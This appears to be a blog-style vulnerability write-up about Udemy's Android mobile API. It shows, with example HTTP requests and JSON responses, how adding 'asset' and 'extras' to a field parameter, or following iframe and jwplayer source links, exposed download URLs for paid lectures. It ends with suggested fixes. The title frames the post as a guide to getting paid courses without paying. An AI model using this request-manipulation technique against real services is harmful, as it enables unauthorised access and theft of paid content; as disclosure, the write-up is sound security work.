How to Download a Paid Course on Udemy without Subscribing

(Shardul Mahadik)

1. Introduction

I came across the vulnerability when I had setup a proxy on my Android phone for some development and while I was browsing through courses on Udemy noticed some requests being made and out of curiosity wanted to dig deeper into the system. The method that I found exploits a vulnerability in the Mobile API of the Udemy Android App. Using this vulnerability, you can download any content related to any course (*with the exception of quizzes*).

2. Something is just not right

The following was my setup during the entire process –

- An Android Phone with the Udemy app installed
- A Desktop running Windows 7 with Charles Proxy installed
- The phone connected to the Wi-Fi network with Charles Proxy configured (SSL Proxying enabled)

So I was viewing a course I had subscribed to and noticed the following call being made:

```
GET /api-1.1/lectures/2292534?fields[lecture]=asset,extras HTTP/1.1
```

The actual request has been stripped to include only the important information. Also all queries have the following header information being passed - X-Udemy-Client-Id, X-Udemy-Bearer-Token, Authorization, Connection, Cache-Control, X-Mobile-Visit-Enabled, Cookie, X-Mobile-Client-Id, X-Version-Name, X-Client-Name, Host, Accept-Encoding, User-Agent.

And the response to the same was as follows:

```
{
      "__class": "lecture",
      "id": "2292534",
      "asset": {
            "__class": "asset",
            "id": "2564998",
            "type": "Video",
            "title": "In Print Settings.mov",
            "downloadUrl": {
                  "download": <Cloudfront link to the Video>
            },
      },
      "extras": [],
}
```

Again the actual response has been stripped to include only the important information.

On the contrary, for a course for which I wasn't subscribed, the call to fetch lecture information was as follows:

```
GET /api-1.1/courses/256758/curriculum?fields[lecture]=title,assetType,
lectureIndex,contextInfo,courseId,url,isFree,chapterIndex,sortOrder,has
Caption HTTP/1.1
```

Notice how in the fields[lecture] parameter, **'asset'** and **'extras'** are missing. So **I manipulated the request and explicitly added those two parameters**. The modified request is as follows:

```
GET /api-1.1/courses/256758/curriculum?fields[lecture]=asset,extras,tit
le,assetType,lectureIndex,contextInfo,courseId,url,isFree,chapterIndex,
sortOrder,hasCaption HTTP/1.1
```

Surprisingly **the response included download links to all the lectures in the curriculum, regardless of whether those lectures were free to view or not** and also regardless of whether I was subscribed to the course. An example can be seen below:

```
{
      "__class": "lecture",
      "id": "1417710",
      "courseId": "256758",
      "title": "Background and Introduction",
      "assetType": "Video",
      "lectureIndex": 2,
      "contextInfo": "06:46",
      "isFree": "No",
      "asset": {
            "__class": "asset",
            "id": "1587184",
            "type": "Video",
            "title": "002-background-intro.mp4",
            "downloadUrl": {
                  "download": <Cloudfront link to the Video>
            },
      },
}
```

Download links to the extras for all the lectures were also returned in the response.

And thus I was able to download all the videos of a course I wasn't subscribed to. Interestingly enough**, this method only seemed to work with courses that had at least 1 free preview lecture associated with them**. For courses, with no free preview videos, *null* was returned in place of the download link.

3. Digging Deeper

As I explored more into the courses with no free preview videos, even though the download field was returned as *null* in all the lectures, the **viewHTML** field of all the assets was still set. An example request and response is shown:

```
GET /api-1.1/courses/403684/curriculum?fields[lecture]=title,assetType,
lectureIndex,contextInfo,courseId,url,isFree,chapterIndex,sortOrder,has
Caption HTTP/1.1
```

```
{
      "__class": "lecture",
      "id": "2296140",
      "title": "Intro",
      "contextInfo": "03:54",
      "isFree": "No",
      "courseId": "403684",
      "assetType": "Video",
      "lectureIndex": 1,
      "asset": {
            "__class": "asset",
            "id": "2569466",
            "type": "Video",
            "title": "course overview.mp4",
            "streamUrl": null,
            "downloadUrl": null,
            "data": null,
            "viewHTML": <iFrame Link to> https://www.udemy.com/embed/vi
                        deo/E0Eed1dWQ3oT
               },
      "extras": [{
            "__class": "asset",
            "id": "2586904",
            "type": "ExternalLink",
            "title": "How I Power My Ideas",
            "streamUrl": null,
            "downloadUrl": null,
            "data": null,
            "status": "1",
            "viewHTML": <Link to> http://power-your-idea.blogspot.ie/20
                        14/04/never-done.html
      }],
}
```

Further **opening up the iFrame page leads you directly to the video which can be streamed**, or even download via using the source links passed to the jwplayer plugin as seen in the page source.

```
$("#player").jwplayer({
      "playlist":[{
            "sources":[{
                  "file": <Cloudfront link to the Video>,
                  "label":"360p SD",
                  "type":"mp4",
                  "default":true
                  },{
                  "file":"<Cloudfront link to the Video>,
                  "label":"720p HD"
                  "type":"mp4
            }]
      }]
});
```

4. Conclusion

I was able to setup a simple script in PHP that made requests via cURL to the API and retrieved the download links of videos, PPTs, E-Books as well as the extras for any given course. This is a major vulnerability as it affects all the courses on the site.

Suggested solutions:

- Use of SSL Certificate Pinning to restrict use of any root SSL certificate such as the Charles SSL certificate, thus making the process of decrypting SSL requests largely difficult if not impossible (See https://github.com/iSECPartners/Android-SSL-TrustKiller)
- Proper access control on the data being returned to the mobile API calls

This vulnerability does not exist in the public API of Udemy. I have not tested if the iPhone version of the Udemy app has a similar kind of vulnerability since I have no experience with the Apple ecosystem.